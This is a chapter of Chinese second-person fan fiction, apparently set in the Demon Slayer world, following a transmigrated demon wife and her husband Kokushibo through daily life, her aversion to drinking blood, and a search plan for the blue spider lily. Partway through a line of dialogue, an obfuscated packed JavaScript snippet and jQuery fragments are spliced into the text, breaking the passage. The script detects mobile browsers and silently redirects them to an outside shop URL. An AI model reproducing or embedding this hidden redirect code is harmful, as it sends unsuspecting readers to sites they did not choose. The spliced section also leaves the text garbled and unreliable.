35.第 35 章

作品:《作为上一的妻子

    水龙头哗啦啦地流着,你捧起清水扑到脸上,一下又一下,带走那里燥热的感觉。


    黑死牟过来,帮忙撩起你脖子后面的头发,免得沾湿了不舒服。等你用毛巾擦干净,又漱完口,才放下来,看着你收拾自己。


    你如今穿和服很利索了,就是腰带上面的结还需要再练习。但你不好意思求助,低头自己整理,毕竟黑死牟穿的马乘袴比这复杂多了。


    最晚你尝试把它解下来,结果弄得两个人都大汗淋漓。想到这里,你的手指开始发软,好半天才理平整,禁不住长舒一口气。


    黑死牟没有注意到,他摸摸你垂下来的发丝提出要求:“帮我绑头发,好吗?”


    “好。”你把他长长的头发梳顺拢好,手握着发带不知道下一步该怎么做。


    想了想,你弯下腰张嘴咬住发带的一端,另一端在发顶缠绕几圈,拉紧了才松开口,握住两端打结固定,就像这么做过很多次了。


    好了。你满意地欣赏自己的作品,对着镜子里的他微笑。


    但黑死牟不看镜子,他回首视线落在你垂在他肩膀的手上,抬手将它握住。你的脉搏在他的掌心有力地跳动,一下又一下,那是心脏将血液泵至全身的强大搏动,无限的生机由此生发。


    他还记得你在大量失血后变得很轻很轻,抱在怀中像搂着一张纸,一点点力气就会弄坏,他整夜地合不了眼,担心那若有若无的呼吸下一秒就会彻底断绝。


    你真的有被救回来吗?他很怀疑。病榻上的那个人黯淡、苍白,如亡者的一缕幽魂,而不是他活生生的妻子。


    还是家主继国岩胜的黑死牟,在不同场合听不同人称赞过继国夫人秀颀优雅,他对此并没有什么感悟。他眼里你始终纤细娇小得可怜,非要说的话,也只是比别家的夫人活泼好动一点罢了。


    可那些远路都走不了的夫人们接二连三地生孩子,你却再也不能开开心心地问他去哪里玩了。黑死牟想,人总在关键的时刻显出自己真实的质地,你可以在任何情况下站他这一边,而他,四百多年前初次直面恶鬼的短短几秒,验证出他的懦弱无能,不能发现母亲的病是这样,放任缘一跑掉也是这样。


    可没有人怪过他,包括你。无论是长久昏迷后陷入谵妄,还是醒来回忆,你都只是后怕当时的惊险,没有一丝一毫的怨怼。


    你总是体谅了他的所有,可在黑死牟心里,目睹自己天性中的黑暗才是真正的阴影,时间冲刷不掉它们,只会越来越大,直到占满整个内心。


    重来一回也是如此,你死在他面前,共有两次,这全都是他的错。


    只有极端的亲密可以覆写你留下的脆弱濒死的印象,他捏紧你的手腕一再确认,这同几日来的痴缠厮磨,还有昨夜廊下的怀抱感受相同,你朝气蓬勃,属于鬼的旺盛生命力就蕴藏在肌肤下,洋溢在生动的表情里。


    他终于驱走死亡的阴影,将你从彼岸拉了回来。


    “还要我做什么吗?”你问,拉拉他的高马尾,配合地俯下身,由他将整张脸埋进你的手掌。


    “没有了。”他说。


    你没有想到适应是如此简单的事情,可能人天生就是容易习惯的生物,也有可能鬼就是这么强悍。


    总之,你重新建立起人生的秩序,里面只多一个黑死牟。


    那些猜想中的事全都没有发生,你才悟到爱人并不麻烦,接纳一个人进入自己的生活绝非消耗,而是解开束缚,任由一切自然地发生,流淌过你的生命,不知所起。


    你原谅了那些笨嘴拙舌的作家,明白人力有时尽,身处爱中的人也会不知如何表达,寄希望于云遮雾绕的言语,和意味不明的肢体动作。


    你们在游戏般的玩闹里复归到孩童的天真亲呢,可以什么都不在意,什么都不去想。


    好吧,吃饭的事还是得想一想的。


    你对饮用鲜血的排斥感从未消失过,每当感到身体里升起进食的冲动,目光时不时黏在黑死牟的血管上,你就忍不住地自我厌弃、情绪低落。饥饿还算次要的,你受不了的是整个人完全被食欲操控,仿佛自己不再是自己。


    你从未停止过私底下对食物偷偷的尝试,只有极少数不会让你第一时间就吐出来,但这没有意义,因为它们已不再具有食物的基本价值——供能。现在的你,只需要鲜血。


    还好,填饱肚子所要的血量并不多,每次几口就够了。经过长时间精确地计算、控制,你尽量维持在一年一次这个频率,只许低不许高,这已是你在保持自我和维系生命之间能找到的最佳平衡。


    可即便是如此,也无法摆脱饱食的满足退去后立即袭来的厌恶。你持续地抑郁,躺倒在榻上什么都不想做,同类相食令你痛苦,突破二十多年人类底线的冲击感仍像第一次那般强烈。


    这是爱情也无法抵达、治愈的角落,真遗憾。


    黑死牟收回了手臂,鼓胀的血管平复下去,上面的伤口马上愈合。


    “好些了吗,”他问,“要看书吗,我帮你拿过来。”


    你摇头,懒洋洋地趴下去,合上眼睛。


    “我想睡一会儿。”


    鬼需要的睡眠很少,但不是没有,至少你是这样的,睡意常常突如其来,你头小鸡啄米似的一点一点。


    吃饱了想睡觉,很正常吧?你从他的反应中看出这并不正常。不知道这个位面的吸血鬼有没有发展出自己的医学,要按人类的说法,你这是属于神经性厌食症吧,心理因素导致的慢性进食障碍。


    虽然你没有体重方面的追求,但食欲引发强烈恐惧感这点是一致的,所以,穿越转换物种不可能没有后遗症。


    记得刚醒过来,你还在想鬼会不会有心理疾病,没想到自己就是典型的例子。


    他把你抱回房间里盖上被子,鬼不会感到冷,但这个动作已经刻进了骨子。


    你头沾上枕头,立即昏沉沉地陷入睡眠,半梦半醒间刚到他的摸你的头发,脸挨过去蹭了蹭。


    “就睡一会儿,别担心。”


    “嗯。”很久他才轻声道。


    黑死牟这么做过很多次了吧?或许在你们共同的生活中,他常常要应对你抵触食物然后陷入昏睡的状况,你失去的记忆是否也与之有关呢?


    你感到困扰,但也没有很多。没关系的,很多小说都有这种反转套路嘛,因为失忆以为自己穿越了,其实这是早就发生的事。你已经知道了,不会虐的,这次肯定是he!


    等等,你刚刚是不是说了“这次”?这次是第几次了呢?


    脑子已经转不动了,你熟睡过去。


    黑死牟守在床前,直到你发出缓而浅的均匀呼吸,才拿起剑走到屋外。


    通透世界里,一切毫无阻碍,他能看到你收缩、舒张的胸廓,肋骨在里面起伏,血液输送氧气。你没什么危险,他是知道的。可有些东西,看到了也不明白,比如头内部紊乱的活动,其他的鬼或人很少有这种情况,即使有也不会像你一样状态明显地波动。


    你仍有不能被他掌控的地方,这一认知让黑死牟感到焦躁。


    十九世纪的尾巴就这样悄悄溜走,日本迎来浪漫的新世纪。


    市面上不断涌现新事物,社会风气也在逐渐开放。你庆幸自己好歹是穿到了近代,女性外出、工作、学习虽然受限,但不是做不到,不然你得憋屈死。


    重拾学业比之前想得容易,你掐指一算,这个时代自己妥妥的高级知识分子,前途简直不要太亮。


    对于你要找工作的事,黑死牟不理解,但也没有阻止的意思。


    这些年,所有晒不着太阳的职业你都想试。体验了一圈回来,舒适区还是宅家里摇笔杆,偶尔再接点家教的活。干累了就歇一会儿,看看书,吹吹竖笛,每当这时,黑死牟就会放心手里的剑或棋子,安静地听着。


    这样赚钱速度变慢了,但可以长时间工作弥补了这一点,你化身核动力牛马,钱包快速鼓起。


    有了自己的收入,花钱理直气壮多了。你养了几只猫,书架越来越满,房间的样貌也一点点改变:重新通电的灯、窗台下的西式书桌、一把舒服的单人沙发……黑死牟看你劲头十足也来帮忙,淘选少见的舶来品,随你的心意挪动物件。


    一番折腾下来,家里已不是完全的传统日式装潢,而是和此时很多的新潮人家一样和洋折衷,一半维持原貌,一半向西方靠拢。你精挑细选购入的新家具,尽量和黑死牟送的椅子风格一致,看起来和谐又美观。


    最重要的是,现在你无须跪坐了。感谢时代,你美美享受,还要拉着黑死牟一块,他走进去参观了一圈,问:“这些是合你心意的家具了吗?”


    “差不多了吧。”你道。你买的不多,但每一个都是需要的,暂时想不出还缺什么了。


    “不要差不多,”他有些奇怪的执拗,“还想要什么,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124390|194774||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我给你找来。”


    你迟钝地感到黑死牟说的似乎不是家具,于是道:“差不多就很好了啊,有缺口才有进步的空间,十全十美就不需要变化了,那才无聊呢。”


    这个话术没有说服他,不过成功转移了他的注意力,估计是去琢磨还能怎么“进步”了。


    一起生活的几年里,他比你还不喜欢外出,你还有外出到处玩的时候,他几乎就只在家里下棋、练剑,除非“那位大人”相召。


    你觉得他的生活过于纯粹,总是专心于一,或许是因为这个,他常显得很紧绷,你有心做出改变,但找不到下手的地方。


    黑死牟是视袒露自我为软弱的人。


    唉,你多希望有一天,他能活得轻松点。而在那之前,你能做的实在不多。


    比如他在做的事,还有“那位大人”。


    黑死牟无心让你承担鬼的事务,你也没问,唯一知晓的是,那位大人他委托黑死牟寻找一种叫蓝色彼岸花的植物。


    石蒜有这种颜色吗?


    你隐约记得,上辈子看过的“以防你没有见过xx”“科普一下xx”小视频好像讲过,自然界中真正含有蓝色素的生物是很少的,只有那啥和那啥啥,啥来着?忘了,反正不是石蒜。


    “如果不是你这么认真,我会认为这是一种文学的比喻,”你忍不住对他说,“蓝色彼岸花,听起来足够梦幻飘渺,足够不现实,像是童话书里的奖励,名字就在暗示读者其实它不存在。就是那种,一群小孩历经千辛万苦寻找实现愿望的神奇宝贝,终于到了终点,仙女从天而降告诉他们勇气、坚持和友谊就是最大的宝贝。”


    天知道你还是个单纯小学生的时候,看到这种结局有多想吐血。孩子那么努力,给他个真宝贝又能怎么样?所以说起名很重要,一开始就叫石蒜,谁还去找它。


    吐槽归吐槽,你还是很想帮黑死牟做点事的。之后,你到书店网罗了好多植物学的书籍,还列了关键词,拜托来家里打扫的小姑娘光子拿着到城里的图书馆借了一大堆回来,一本一本看。


    石蒜主产中国,日本,在日本多分布在南部温暖的地区,喜欢阴湿的环境,狭义的石蒜科石蒜属植物二十多种,有白色、乳白、奶黄、金黄、粉红至鲜红色,但就是没有蓝色。


    你忽略掉最后一条,拿出写毕业论文的严谨态度,根据地图、地形图、降雨量统计还有气候因素,粗略画了一张石蒜分布图,然后对照更精确的专业地图、区划图、火车时刻表等,标注出一个个区域和搜寻顺序,以及要怎么到达、如何高效率安排行程、这么做的理由等等,最后列上参考文献。


    你花了快一个月的时间完成这件事,不分昼夜地赶工,其他事全靠后,写满了一沓纸,才装订好给黑死牟看。


    他盯着封皮看了许久。


    “这是什么?”


    “我写的不清楚吗?”你凑过去看,《蓝色彼岸花寻找计划》,每个字都很明白啊。


    “我不是说这个,”黑死牟难得捏了一下眉心,“你写它做什么?”


    “帮你呀,”你理所当然道,“有计划肯定比随便找找效率高,而且这也是一种成果,你可以交上去。”


    黑死牟严肃地叫了你的名字,你的腰杆一下子就直了:“我写的哪里不对吗?”


    开玩笑,你的学术水平杠杠的,导师都夸呢。万变不离其宗,不信找个植物就搞不定了。


    “不是哪里不对,”他放缓了语气向你解释,“但这种东西不适宜交上去,那位大人他,只要结果。”


    你听懂了。


    “那就是没有帮到你了。”你还是太学生思维了,遇事不决先列个计划表,忘了成熟的社会人/鬼都是看kpi的。真的是,完全是自我感动啊。


    “不是的。”他将你揽到膝上,手指穿过你的头发。


    “我很感谢你做的这一切。”


    总之,生活就这么波澜不惊地过,虽然快到手的学位飞了,但穿越一场你也得到很多,吸血鬼的强大生命力,一个不错的相爱的丈夫,和谐幸福的家庭,喜欢的工作,唯一的缺憾只是患上了进食障碍。


    但鉴于你现在的恢复力,不睡觉、不吃饭几乎无影响,营养不良、神经紊乱、暴瘦、脱发等人类的症状根本不会发生,所以这一缺憾似乎也算不上缺憾。


    这就是美满的人生了吗?为何你还是会在有的时候感到迷茫和空虚。